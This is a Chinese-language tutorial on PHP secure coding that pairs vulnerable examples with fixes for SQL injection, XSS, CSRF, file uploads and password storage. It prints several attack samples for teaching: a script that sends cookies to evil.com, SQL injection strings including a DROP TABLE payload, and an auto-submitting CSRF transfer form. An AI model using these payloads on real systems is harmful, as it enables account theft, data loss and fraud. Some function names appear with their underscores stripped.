做Web开发,安全是一个永远不能忽视的话题。

很多开发者,尤其是初学者,不重视安全。觉得自己的网站只是个小博客、小项目,不会有人攻击。但实际上,黑客攻击是自动化的,他们会扫描全网的网站,寻找漏洞,不管你是大站还是小站。只要有漏洞,就可能被攻击。

Web安全漏洞的危害很大:

  • SQL注入:攻击者可以窃取数据库中的所有数据,包括用户密码、个人信息
  • XSS跨站脚本:攻击者可以窃取用户Cookie,冒充用户登录,篡改网页
  • CSRF跨站请求伪造:攻击者可以诱导用户执行非预期的操作(如转账、修改密码)
  • 文件上传漏洞:攻击者可以上传webshell,获取服务器权限,控制整个服务器
  • 命令注入:攻击者可以执行系统命令,获取服务器权限
  • 越权访问:攻击者可以访问或修改他人的数据

这些漏洞,轻则导致数据泄露、网页被篡改,重则导致服务器被控制、用户财产损失,甚至触犯法律。作为开发者,我们有责任写出安全的代码,保护用户的数据和隐私。

PHP是一门灵活的语言,但灵活也意味着容易写出不安全的代码。今天分享PHP安全编程最佳实践,从SQL注入、XSS、CSRF、文件上传、密码安全等多个方面,帮你写出安全的PHP代码。

SQL注入防护

SQL注入是最常见、最危险的Web安全漏洞之一。攻击者通过在输入中插入恶意SQL代码,让数据库执行非预期的操作,从而窃取、修改或删除数据。

漏洞示例

// 危险的写法:直接拼接SQL
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = $pdo->query($sql);

如果攻击者访问user.php?id=1 OR 1=1,SQL就变成了:

SELECT * FROM users WHERE id = 1 OR 1=1

这会返回所有用户的数据。

更危险的是id=1; DROP TABLE users;--,可能会删除整个表。

防护方法:预处理语句(Prepared Statements)

用PDO的预处理语句,参数绑定,不要直接拼接SQL:

// 安全的写法:预处理语句
$id = $_GET['id'];
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
$user = $stmt->fetch();

或者用命名参数:

$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute([':id' => $id]);

预处理语句会把SQL结构和数据分开,数据会被自动转义,不会被当作SQL代码执行,从根本上防止SQL注入。

其他注意事项

  • 永远不要信任用户输入,所有用户输入都可能是恶意的
  • 不要用addslashes()mysqlrealescape_string()手动转义,用预处理语句更可靠
  • 限制数据库用户的权限,不要用root用户连接数据库,只给必要的权限(SELECT、INSERT、UPDATE)
  • 不要把数据库错误信息直接显示给用户,生产环境关闭错误显示
  • 用ORM(如Eloquent、Doctrine)也能防止SQL注入,但底层还是预处理语句

XSS跨站脚本防护

XSS(Cross-Site Scripting)是攻击者在网页中注入恶意脚本,当其他用户访问时,脚本会在用户浏览器中执行,从而窃取用户信息、冒充用户操作。

XSS的类型

  1. 反射型XSS:恶意脚本通过URL参数传递,服务器反射到页面中。如search.php?q=<script>alert(1)</script>
  2. 存储型XSS:恶意脚本被存储到数据库中,其他用户访问时执行。如在评论、文章中注入恶意脚本
  3. DOM型XSS:恶意脚本通过JavaScript操作DOM执行,不经过服务器

漏洞示例

// 危险的写法:直接输出用户输入
echo "搜索结果:" . $_GET['q'];

如果攻击者访问search.php?q=<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>,就会窃取用户的Cookie。

防护方法:输出转义

在输出用户输入到HTML时,用htmlspecialchars()转义特殊字符:

// 安全的写法:转义输出
echo "搜索结果:" . htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');

htmlspecialchars()会把<>"'&等特殊字符转义为HTML实体,防止被当作HTML/JS执行。

不同上下文的转义

输出到不同的上下文,需要不同的转义方式:

1. HTML内容:

echo htmlspecialchars($content, ENT_QUOTES, 'UTF-8');

2. HTML属性:

echo '<input value="' . htmlspecialchars($value, ENT_QUOTES, 'UTF-8') . '">';

3. JavaScript:json_encode()把PHP变量转为JSON,不要直接拼接到JS中:

echo 'var data = ' . json_encode($data) . ';';

4. URL:urlencode()编码URL参数:

echo 'http://example.com/?q=' . urlencode($q);

5. CSS: 尽量不要把用户输入输出到CSS中,如果必须,要严格验证和转义。

其他XSS防护措施

  • CSP(内容安全策略):通过HTTP头限制页面可以加载的资源来源,防止XSS执行

``nginx add_header Content-Security-Policy "default-src 'self'; script-src 'self'"; ``

  • HttpOnly Cookie:设置Cookie为HttpOnly,JavaScript无法读取,即使XSS也偷不到Cookie
  • 输入验证:对用户输入进行格式验证(如邮箱、URL、手机号),不符合的拒绝
  • 富文本过滤:如果允许用户输入HTML(如富文本编辑器),用HTMLPurifier等库过滤危险标签和属性
  • 不要用strip_tags()简单过滤,它可以被绕过

CSRF跨站请求伪造防护

CSRF(Cross-Site Request Forgery)是攻击者诱导已登录的用户访问恶意页面,恶意页面自动向目标网站发送请求,因为用户已登录,请求会带上用户的Cookie,目标网站会认为是用户的合法操作。

攻击示例

用户登录了银行网站bank.com,然后访问了攻击者的网站evil.comevil.com中有一个隐藏的表单:

<form action="http://bank.com/transfer" method="POST">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>

用户访问evil.com时,表单会自动提交到银行网站,因为用户已登录,银行会认为是用户的操作,转账给攻击者。

防护方法:CSRF Token

在表单中加入一个随机的Token,提交时验证Token是否正确:

session_start();

// 生成CSRF Token
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// 表单中加入Token
echo '<form method="POST" action="transfer.php">';
echo '<input type="hidden" name="csrf_token" value="' . $_SESSION['csrf_token'] . '">';
echo '<input type="text" name="to">';
echo '<input type="text" name="amount">';
echo '<button type="submit">转账</button>';
echo '</form>';

// 提交时验证
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        http_response_code(403);
        die("CSRF验证失败");
    }
    // 验证通过,处理转账
    // 处理完后重新生成Token
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

其他CSRF防护措施

  • SameSite Cookie:设置Cookie的SameSite属性为Lax或Strict,限制跨站请求发送Cookie

``php sessionsetcookie_params(['samesite' => 'Lax']); ``

  • 验证Referer/Origin:检查请求的来源是否是本站,但不是100%可靠
  • 敏感操作二次验证:转账、修改密码等敏感操作,要求用户再次输入密码或验证码
  • GET请求不修改数据:GET请求只用于查询,不用于修改数据,修改数据用POST/PUT/DELETE

文件上传安全

文件上传是最危险的功能之一,如果处理不当,攻击者可以上传webshell获取服务器权限。(之前的文章已经详细讲过,这里简要回顾)

核心防护措施:

  1. 验证文件类型(扩展名+MIME+文件内容,多重验证)
  2. 限制文件大小
  3. 重命名文件(随机文件名)
  4. 存储在Web根目录之外(最安全)
  5. 禁止上传目录执行PHP(Nginx/Apache配置)
  6. 图片重新处理(清除恶意代码)
  7. moveuploadedfile()移动文件

密码安全

密码是用户账户安全的核心,密码存储和验证一定要安全。

密码哈希

永远不要明文存储密码,也不要用MD5、SHA1等不安全的哈希算法。用PHP内置的passwordhash()passwordverify()

// 注册时:哈希密码
$password = $_POST['password'];
$hashedPassword = password_hash($password, PASSWORD_DEFAULT);
// 存储$hashedPassword到数据库

// 登录时:验证密码
$inputPassword = $_POST['password'];
if (password_verify($inputPassword, $hashedPassword)) {
    // 密码正确,登录成功
} else {
    // 密码错误
}

passwordhash()默认使用bcrypt算法,自动加盐,安全可靠。PASSWORDDEFAULT会随PHP版本更新使用更安全的算法。

密码强度要求

  • 密码长度至少8位,建议12位以上
  • 包含大小写字母、数字、特殊字符
  • 不要用常见密码(如123456、password、qwerty)
  • 不要用个人信息(如生日、姓名、手机号)作为密码
  • 可以用密码强度检测库(如zxcvbn)评估密码强度

其他密码安全措施

  • 登录失败限制(防止暴力破解)
  • 不要在URL、日志、邮件中明文显示密码
  • 密码重置用随机Token,不要直接发新密码
  • 定期提醒用户修改密码
  • 支持两步验证(2FA)

其他安全措施

1. 输入验证

所有用户输入都要验证,不合法的拒绝:

  • 整数:用filtervar($var, FILTERVALIDATE_INT)
  • 邮箱:用filtervar($var, FILTERVALIDATE_EMAIL)
  • URL:用filtervar($var, FILTERVALIDATE_URL)
  • IP:用filtervar($var, FILTERVALIDATE_IP)
  • 正则验证:用preg_match()验证格式

2. 输出安全头

// 防止点击劫持
header('X-Frame-Options: DENY');
// 防止MIME类型嗅探
header('X-Content-Type-Options: nosniff');
// XSS防护(浏览器内置,非万能)
header('X-XSS-Protection: 1; mode=block');
// 强制HTTPS
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');

3. HTTPS

生产环境一定要用HTTPS,加密传输数据,防止嗅探和篡改。用Let's Encrypt免费证书。

4. 错误处理

生产环境关闭错误显示,只记录日志,不要把错误信息(如数据库密码、文件路径)暴露给用户。

5. 安全更新

及时更新PHP、数据库、Web服务器、第三方库,修复已知的安全漏洞。

6. 安全审计

定期审计代码,检查安全漏洞。可以用静态分析工具(如PHPStan、Psalm)和安全扫描工具(如RIPS、SonarQube)。

总结

PHP安全编程是一个系统工程,核心要点:

  1. SQL注入:用预处理语句(PDO prepare),不要拼接SQL
  2. XSS:输出时用htmlspecialchars()转义,不同上下文不同转义方式
  3. CSRF:用CSRF Token验证,SameSite Cookie,敏感操作二次验证
  4. 文件上传:多重验证文件类型,重命名,存Web根目录外,禁止执行PHP
  5. 密码安全:用passwordhash()和passwordverify(),不要用MD5/SHA1
  6. 输入验证:所有用户输入都要验证,不合法的拒绝
  7. 安全头:输出X-Frame-Options、X-Content-Type-Options等安全头
  8. HTTPS:生产环境用HTTPS,加密传输
  9. 错误处理:生产环境关闭错误显示,只记录日志
  10. 安全更新:及时更新PHP和第三方库,修复漏洞

安全是一个持续的过程,不是一次性的。要时刻保持安全意识,写出安全的代码,保护用户的数据和隐私。

希望这篇文章能帮你写出更安全的PHP代码。